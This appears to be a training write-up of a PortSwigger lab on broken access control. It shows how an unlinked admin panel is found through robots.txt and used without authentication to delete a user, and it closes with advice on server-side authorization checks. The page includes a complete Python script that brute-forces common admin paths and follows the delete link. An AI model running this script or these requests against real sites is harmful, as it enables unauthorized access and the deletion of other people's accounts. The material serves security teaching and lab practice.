LearnAccess Control › Lab: Unprotected admin functionality

Lab: Unprotected admin functionality

PortSwigger Apprentice Access Control

Original lab: Lab: Unprotected admin functionality on PortSwigger ↗

Broken access control has topped the OWASP Top 10 for years, and the simplest version of it is also the easiest to miss: a page that does exactly what it's supposed to do for the people who find it, and nothing to stop anyone else from finding it too. No auth check, no role check — just an assumption that the URL is secret. This lab is that assumption, stripped down to its purest form.

The Target

The application is a small blog site with a normal set of user-facing pages. Somewhere on the server, unlinked from any navigation menu, sits an administrative panel with the power to delete user accounts. Nothing in the visible site points to it directly.

The Investigation

An admin panel that isn't linked anywhere still has to be reachable by *someone* — the developers, at minimum, and probably automated tooling that needs to know which paths to leave alone. That's exactly what robots.txt is for, and it's often the first place worth checking on a target like this: a file whose entire purpose is to tell crawlers which paths exist but shouldn't be indexed.

We ran our admin-panel detector against the site, which checks robots.txt for Disallow entries before falling back to brute-forcing a list of common admin paths (/admin, /admin-panel, /administrator, /management, and similar):

[VERIFIED - Lab 1] Admin panel brute-force + robots.txt disclosure
/administrator-panel    -- VERIFIED (Lab 1: found via brute + robots.txt Disallow)

robots.txt disclosed a Disallow line pointing straight at /administrator-panel. The path never needed guessing — the server told us about it directly, in a file meant to keep it out of search results, not out of an attacker's browser.

The Exploit

Loading /administrator-panel returned the admin interface with no login prompt and no session check at all — just a working page listing every user account with a delete action next to each one. Our script fetched the panel, located the delete link for carlos with a regex match against the HTML, and followed it:

GET /administrator-panel
GET /administrator-panel/delete?username=carlos

The response confirmed carlos was gone, and the lab's solved banner appeared on the next request to the homepage.

Comparing Notes: PortSwigger's Official Solution

PortSwigger's published solution is the same discovery path: view robots.txt, notice the Disallow line disclosing the admin panel path, load /administrator-panel, delete carlos.

This is a case where our approach matches the official one almost exactly, including the specific discovery mechanism — we didn't need to fall back to brute-forcing, because robots.txt handed us the path directly, just as the official solution describes. The only real difference is delivery: PortSwigger's walkthrough is manual browser navigation, while our detector runs the robots.txt check and a concurrent path brute-force together as one automated pass, so the same disclosure gets caught whether or not a target happens to leave it in robots.txt specifically.

What This Teaches Us

The vulnerability here isn't a flaw in any specific check — it's the total absence of one. The application never asked "is this user allowed to be here" anywhere on the admin panel's code path, and relied entirely on the URL being hard to guess. robots.txt broke that assumption for free, but even without it, a predictable admin path was always one wordlist away from being found. The fix isn't a better-hidden URL; it's an actual authorization check on every request to the panel, enforced server-side, independent of whether the path is public knowledge.


The automated solution

Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.

Show the solution script (Python)
#!/usr/bin/env python3
"""
Unprotected admin functionality
PortSwigger Web Security Academy -- Access Control

Companion script for the writeup: 01-unprotected-admin-functionality.md

What this does:
    Checks robots.txt for a Disallow entry that discloses the admin panel path,
    falling back to a concurrent brute-force of common admin paths if nothing
    turns up there. Once the panel is found, it locates the delete link for
    carlos in the returned HTML and follows it -- no login, no session, no
    auth check anywhere on this path.

Usage:
    python 01-unprotected-admin-functionality.py <lab-url>
    e.g. python 01-unprotected-admin-functionality.py https://0a1b00fa03d9c8b6803b56b400eb00d5.web-security-academy.net

Requirements:
    pip install httpx
"""

import re
import sys
import httpx
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin

ADMIN_PATHS = [
    "/admin", "/admin/", "/admin-panel", "/administrator",
    "/administrator-panel", "/management", "/panel",
    "/admin.php", "/admin/dashboard",
]


def find_admin_panel(client: httpx.Client, base: str) -> str | None:
    paths = list(ADMIN_PATHS)

    robots = client.get(f"{base}/robots.txt")
    if robots.status_code == 200:
        for line in robots.text.splitlines():
            line = line.strip()
            if line.lower().startswith("disallow:"):
                path = line.split(":", 1)[1].strip()
                if path:
                    print(f"[+] robots.txt discloses: {path}")
                    check = client.get(f"{base}{path}")
                    if check.status_code == 200 and "login" not in check.text.lower():
                        return f"{base}{path}"
                    if path not in paths:
                        paths.append(path)

    def _check_path(path):
        try:
            resp = client.get(f"{base}{path}")
            if resp.status_code == 200 and "login" not in resp.text.lower():
                return f"{base}{path}"
        except httpx.HTTPError:
            pass
        return None

    with ThreadPoolExecutor(max_workers=10) as pool:
        futures = {pool.submit(_check_path, p): p for p in paths}
        for f in as_completed(futures):
            r = f.result()
            if r:
                return r
    return None


def solve(lab_url: str) -> None:
    client = httpx.Client(follow_redirects=True, timeout=15)

    admin_url = find_admin_panel(client, lab_url)
    if not admin_url:
        print("[-] No admin panel found via robots.txt or brute force.")
        return
    print(f"[+] Admin panel found: {admin_url}")

    resp = client.get(admin_url)
    delete_match = re.search(r'href="([^"]*delete[^"]*carlos[^"]*)"', resp.text, re.IGNORECASE)
    if not delete_match:
        delete_match = re.search(r'href="([^"]*\?username=carlos[^"]*)"', resp.text, re.IGNORECASE)

    if delete_match:
        delete_path = delete_match.group(1)
        delete_url = f"{lab_url}{delete_path}" if delete_path.startswith("/") else urljoin(admin_url + "/", delete_path)
        print(f"[*] Deleting carlos via: {delete_url}")
        client.get(delete_url)
    else:
        print("[*] No delete link found in panel HTML, trying common delete pattern")
        client.get(f"{admin_url}/delete", params={"username": "carlos"})

    check = client.get(lab_url)
    if "Congratulations" in check.text:
        print("[+] Lab solved -- carlos deleted via unprotected admin panel.")
    else:
        print("[-] Not solved yet -- inspect the admin panel response for the real delete link.")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <lab-url>")
        sys.exit(1)
    solve(sys.argv[1].rstrip("/"))

Related labs

Want to go from zero to junior pentester?

These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.

Join the Free Live Webinar →